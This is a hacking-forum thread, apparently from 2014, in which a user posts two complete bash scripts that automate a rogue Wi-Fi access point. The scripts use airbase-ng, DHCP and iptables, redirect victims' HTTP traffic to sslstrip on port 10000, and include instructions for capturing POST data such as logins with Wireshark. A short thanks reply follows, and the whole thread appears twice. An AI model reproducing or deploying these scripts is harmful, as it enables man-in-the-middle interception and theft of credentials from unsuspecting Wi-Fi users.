+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: Create your rogue AP (/Thread-Create-your-rogue-AP)
Create your rogue AP - hunt3r972 - 02-22-2014
This is a script to automatize the creation of Rogue APs:
This part must be saved in a file called rogueapairbase.sh. Don't forget to do chmod +x rogueapairbase.sh
Code:
#!/bin/bash
echo
echo ' _______ _______ _______ _______ _______ _______ '
echo '( ____ )( ___ )( ____ \|\ /|( ____ \( ___ )( ____ )'
echo '| ( )|| ( ) || ( \/| ) ( || ( \/| ( ) || ( )|'
echo '| (____)|| | | || | | | | || (__ | (___) || (____)|'
echo '| __)| | | || | ____ | | | || __) | ___ || _____)'
echo '| (\ ( | | | || | \_ )| | | || ( | ( ) || ( '
echo '| ) \ \__| (___) || (___) || (___) || (____/\| ) ( || ) '
echo '|/ \__/(_______)(_______)(_______)(_______/|/ \||/'
echo
echo "By 9H4C7K3R2 - v1.1"
echo "@ Script to create Rogue APs with DHCP Service"
echo "@ check if dhcp3-server is installed (apt-get install dhcp3-server or apt-get install isc-dhcp-server)"
echo "@ If you launch the script for the first time, you must do this:"
echo "@ nano /etc/dhcp/dhcpd.conf, add these lines (you can delete all in the file):"
echo
echo " ddns-update-style interim;"
echo " default-lease-time 600;"
echo " max-lease-time 7200;"
echo " subnet 192.168.3.0 netmask 255.255.255.0 {"
echo " option subnet-mask 255.255.255.0;"
echo " option broadcast-address 192.168.3.255;"
echo " option routers 192.168.3.1;"
echo " option domain-name-servers 8.8.8.8;"
echo " range 192.168.3.2 192.168.3.150;"
echo " }"
echo
echo "@ The http traffic is redirected to port 10000. Launch wireshark and use the filter: http.request.method == "POST""
echo "@ Don't forget to start sslstrip before sniffing: sslstrip -a -l 10000 -w capture.txt"
echo
turnoffmon=$(ifconfig | grep mon)
if [ -n "$turnoffmon" ]
then
echo "[+] Turning monitoring mode off"
airmon-ng stop mon0
fi
echo "[+] Rogue AP information"
echo -n "[+] Rogue AP name: "
read nameAP
echo -n "[+] Channel used for Rogue AP: "
read channel
echo
echo "[+] Interfaces"
chk_mon=$(ifconfig | sed 's/[ \t].*//;/^\(lo\|\)$/d;/eth/d' | grep mon)
if [ $chk_mon ]
then
echo "[+] Monitoring interface detected"
else
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' | grep wlan
echo -n "[+] Interface used for monitoring (Rogue AP): "
read mon_interface
echo "[+] Starting monitoring mode"
airmon-ng start $mon_interface > /dev/null 2>&1
chk_mon=$(ifconfig | sed 's/[ \t].*//;/^\(lo\|\)$/d;/eth/d' | grep mon)
if [ $chk_mon ]
then
echo "[+] Monitor mode enabled"
else
echo "[+] Error during monitoring mode activation"
echo "[+] Exiting"
exit
fi
fi
echo
echo "[+] Creating the Rogue AP - CTRL + C to stop"
xterm -e bash rogueapdhcp.sh &
airbase-ng -e "$nameAP" -c $channel -P mon0This part must be saved in a file called rogueapdhcp.sh. Don't forget to do chmod +x rogueapdhcp.sh
Code:
#!/bin/bash
echo "[+] DHCP and FORWARDING"
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' | sed '/mon./d;/at./d'
echo -n "[+] Interface connected to internet (to forward the packets to the internet): "
read interface
ip=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\://g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
if [[ -z ${ip} ]]
then
ip=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\://g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
masque=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Mask\://g' | sed -e 's/^[ \a]*//')
if [[ -z ${masque} ]]
then
masque=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Masque\://g' | sed -e 's/^[ \a]*//')
fi
passerelle=$(route -n | grep 'UG[ \t]' | awk '{print $2}' | sed 1q)
broadcast=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
if [[ -z ${broadcast} ]]
then
broadcast=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
reseau=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/255/0/' | sed -e 's/^[ \a]*//')
if [[ -z ${reseau} ]]
then
reseau=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/255/0/' | sed -e 's/^[ \a]*//')
fi
mac=$(ifconfig $interface | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
echo "[+] Informations about interface $interface"
echo "IP Address:" $ip
echo "Netmask:" $masque
echo "Gateway:" $passerelle
echo "Broadcast:" $broadcast
echo "Network:" $reseau
echo "MAC Address:" $mac
echo
echo "[+] Setting up tap interface"
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' | grep at
echo -n "[+] Interface used for the Rogue AP: "
read tapint
ifconfig $tapint up
ifconfig $tapint 192.168.3.1 netmask 255.255.255.0
route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
echo "[+] iptables modification (flush)"
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
echo "[+] Enabling forwarding"
echo 1 > /proc/sys/net/ipv4/ip_forward
test_forward=$(cat /proc/sys/net/ipv4/ip_forward)
if [ $test_forward == "1" ]
then
echo "[+] IP Forward enabled"
elif [ $test_forward == "0" ]
then
echo "[+] IP Forward not enabled"
echo "[+] Exiting"
exit
fi
echo "[+] iptables modification (forwarding)"
iptables --table nat --append POSTROUTING --out-interface $interface -j MASQUERADE
iptables --append FORWARD --in-interface $tapint -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $passerelle
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
echo
echo "[+] Starting DHCP Service - CTRL + C to stop"
dhcpd -d -f -cf /etc/dhcp/dhcpd.conf $tapint
bashCreate your rogue AP - hunt3r972 - 02-22-2014
This is a script to automatize the creation of Rogue APs:
This part must be saved in a file called rogueapairbase.sh. Don't forget to do chmod +x rogueapairbase.sh
Code:
#!/bin/bash
echo
echo ' _______ _______ _______ _______ _______ _______ '
echo '( ____ )( ___ )( ____ \|\ /|( ____ \( ___ )( ____ )'
echo '| ( )|| ( ) || ( \/| ) ( || ( \/| ( ) || ( )|'
echo '| (____)|| | | || | | | | || (__ | (___) || (____)|'
echo '| __)| | | || | ____ | | | || __) | ___ || _____)'
echo '| (\ ( | | | || | \_ )| | | || ( | ( ) || ( '
echo '| ) \ \__| (___) || (___) || (___) || (____/\| ) ( || ) '
echo '|/ \__/(_______)(_______)(_______)(_______/|/ \||/'
echo
echo "By 9H4C7K3R2 - v1.1"
echo "@ Script to create Rogue APs with DHCP Service"
echo "@ check if dhcp3-server is installed (apt-get install dhcp3-server or apt-get install isc-dhcp-server)"
echo "@ If you launch the script for the first time, you must do this:"
echo "@ nano /etc/dhcp/dhcpd.conf, add these lines (you can delete all in the file):"
echo
echo " ddns-update-style interim;"
echo " default-lease-time 600;"
echo " max-lease-time 7200;"
echo " subnet 192.168.3.0 netmask 255.255.255.0 {"
echo " option subnet-mask 255.255.255.0;"
echo " option broadcast-address 192.168.3.255;"
echo " option routers 192.168.3.1;"
echo " option domain-name-servers 8.8.8.8;"
echo " range 192.168.3.2 192.168.3.150;"
echo " }"
echo
echo "@ The http traffic is redirected to port 10000. Launch wireshark and use the filter: http.request.method == "POST""
echo "@ Don't forget to start sslstrip before sniffing: sslstrip -a -l 10000 -w capture.txt"
echo
turnoffmon=$(ifconfig | grep mon)
if [ -n "$turnoffmon" ]
then
echo "[+] Turning monitoring mode off"
airmon-ng stop mon0
fi
echo "[+] Rogue AP information"
echo -n "[+] Rogue AP name: "
read nameAP
echo -n "[+] Channel used for Rogue AP: "
read channel
echo
echo "[+] Interfaces"
chk_mon=$(ifconfig | sed 's/[ \t].*//;/^\(lo\|\)$/d;/eth/d' | grep mon)
if [ $chk_mon ]
then
echo "[+] Monitoring interface detected"
else
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' | grep wlan
echo -n "[+] Interface used for monitoring (Rogue AP): "
read mon_interface
echo "[+] Starting monitoring mode"
airmon-ng start $mon_interface > /dev/null 2>&1
chk_mon=$(ifconfig | sed 's/[ \t].*//;/^\(lo\|\)$/d;/eth/d' | grep mon)
if [ $chk_mon ]
then
echo "[+] Monitor mode enabled"
else
echo "[+] Error during monitoring mode activation"
echo "[+] Exiting"
exit
fi
fi
echo
echo "[+] Creating the Rogue AP - CTRL + C to stop"
xterm -e bash rogueapdhcp.sh &
airbase-ng -e "$nameAP" -c $channel -P mon0This part must be saved in a file called rogueapdhcp.sh. Don't forget to do chmod +x rogueapdhcp.sh
Code:
#!/bin/bash
echo "[+] DHCP and FORWARDING"
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' | sed '/mon./d;/at./d'
echo -n "[+] Interface connected to internet (to forward the packets to the internet): "
read interface
ip=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\://g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
if [[ -z ${ip} ]]
then
ip=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\://g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
masque=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Mask\://g' | sed -e 's/^[ \a]*//')
if [[ -z ${masque} ]]
then
masque=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Masque\://g' | sed -e 's/^[ \a]*//')
fi
passerelle=$(route -n | grep 'UG[ \t]' | awk '{print $2}' | sed 1q)
broadcast=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
if [[ -z ${broadcast} ]]
then
broadcast=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/^[ \a]*//')
fi
reseau=$(ifconfig $interface | grep -E 'inet addr:' | sed -re 's/inet\ addr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Mask\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/255/0/' | sed -e 's/^[ \a]*//')
if [[ -z ${reseau} ]]
then
reseau=$(ifconfig $interface | grep -E 'inet adr:' | sed -re 's/inet\ adr\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g;s/Bcast\://g;s/Masque\:([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})//g' | sed -e 's/255/0/' | sed -e 's/^[ \a]*//')
fi
mac=$(ifconfig $interface | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}')
echo "[+] Informations about interface $interface"
echo "IP Address:" $ip
echo "Netmask:" $masque
echo "Gateway:" $passerelle
echo "Broadcast:" $broadcast
echo "Network:" $reseau
echo "MAC Address:" $mac
echo
echo "[+] Setting up tap interface"
echo "[+] Available interfaces:"
ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' | grep at
echo -n "[+] Interface used for the Rogue AP: "
read tapint
ifconfig $tapint up
ifconfig $tapint 192.168.3.1 netmask 255.255.255.0
route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
echo "[+] iptables modification (flush)"
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT
echo "[+] Enabling forwarding"
echo 1 > /proc/sys/net/ipv4/ip_forward
test_forward=$(cat /proc/sys/net/ipv4/ip_forward)
if [ $test_forward == "1" ]
then
echo "[+] IP Forward enabled"
elif [ $test_forward == "0" ]
then
echo "[+] IP Forward not enabled"
echo "[+] Exiting"
exit
fi
echo "[+] iptables modification (forwarding)"
iptables --table nat --append POSTROUTING --out-interface $interface -j MASQUERADE
iptables --append FORWARD --in-interface $tapint -j ACCEPT
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to $passerelle
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
echo
echo "[+] Starting DHCP Service - CTRL + C to stop"
dhcpd -d -f -cf /etc/dhcp/dhcpd.conf $tapint
bashRE: Create your rogue AP - Ligeti - 02-22-2014
Thanks, I could actually use this to demonstrate how to automate the creation of a fake AP... ( and not create
) Thanks again
RE: Create your rogue AP - Ligeti - 02-22-2014
Thanks, I could actually use this to demonstrate how to automate the creation of a fake AP... ( and not create
) Thanks again
RE: Create your rogue AP - hunt3r972 - 02-23-2014
No problem dude use it
RE: Create your rogue AP - hunt3r972 - 02-23-2014
No problem dude use it